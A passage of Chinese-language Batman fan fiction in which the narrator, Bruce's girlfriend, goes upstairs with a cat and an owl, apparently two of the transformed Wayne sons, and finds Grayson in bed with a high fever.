摸不清对方的态度,却不影响我往楼上而去的脚步。关心男友养子的状态是我应该做的,至于他会不会把这点小事当成别的东西——那是他该纠结的问题,我凭什么要替他烦恼?我才不要布鲁斯回来看见格雷森没精打采,把本属于我的注意力放到他身上。 最好小孩们都健健康康的,有对比才能衬出我的可怜,这样男朋友一定会最关心我! 想着些有的没的,我慢吞吞地走着,途经会客室就看见老管家正给大猫做着下巴按摩。他在睁眼前耳朵便先朝向了我,似乎看出我的目的地不是大门,又懒洋洋地躺了回去。 倒是剩下一猫一鸟谁也不让着谁,紧紧跟在我身后。 和阿福先生打过招呼,我只得带着两只跟屁虫去叫格雷森起床,路上还得阻止猫头鹰试图骑在弟弟背上的偷懒行径。 变成小鸟的德雷克比平时坦率,但坏心眼的程度也呈正比增长,仗着自己能飞时不时就要去惹一下地上的黑猫——这样的坏鸟着实与他一贯温和的模样大相径庭,让我忍不住腹诽这人平时真能装。 如此一来,我更好奇格雷森会变成什么动物了,他不像猫,但和正宗狗狗相比也不是那么憨厚,唯一能肯定的就是他即使变成动物大概也能很受欢迎,毕竟连来庄园送报纸的社工他都能和对方聊得笑逐颜开的。 脚步在房门前站定,我还没伸手敲两下,小猫已经挤过来挠起了门,大有冲进去向大哥告鸟一状的派头。 再看猫头鹰,他正蹦蹦跳跳地在身后叼我的发尾玩,丝毫看不出任何紧张。 格雷森一向最宠他的幺弟,要是待会儿再起冲突,我还是站在德雷克这更好——一人一边总能把水端平了吧。 左等右等也没人过来开门,小猫耳朵却竖了起来,抵着门冲我喵喵大叫。 我意识到那是他听见了里面不同寻常的动静。 无法出声询问,我咬了咬牙,还是决定直接拧动把手。万幸格雷森并未锁门,黑猫从敞开的门缝里迅速钻入,我和猫头鹰紧随其后,闯进一片昏暗里。 做好了直接面对不知名动物的准备,当看清被子里伸出的仍是人类的胳膊时,我反而愣了一下,慢几步才上前扶起被碰倒的水杯。 一猫一鸟纷纷上了床,围着中央露出来半颗的卷毛脑袋,我看不清格雷森的表情,想想还是打开了床头灯。 “嘶……” 青年裹着被子艰难蠕动,躲开乍然刺来的光线。 我正想调侃大哥难得一见的赖床姿态,视线触及他潮红的脸颊和汗湿的刘海,立刻深感不妙。 病毒入体后的免疫反应因人而异,但携带者在潜伏期突发高热的并不算少。手心与对方额头相贴的同时,格雷森主动又把脑袋凑近了些许,我努力克制着想要拉开距离的本能,他潮湿又滚烫的皮肤不在我习惯的范围内。 “劳驾……倒杯水,好吗?” 对方因我冰冷的指尖而发出喟叹,几乎是无意识的。 十指连心,我被这份截然不同的温度蛰了一口,心跳蓦地加快。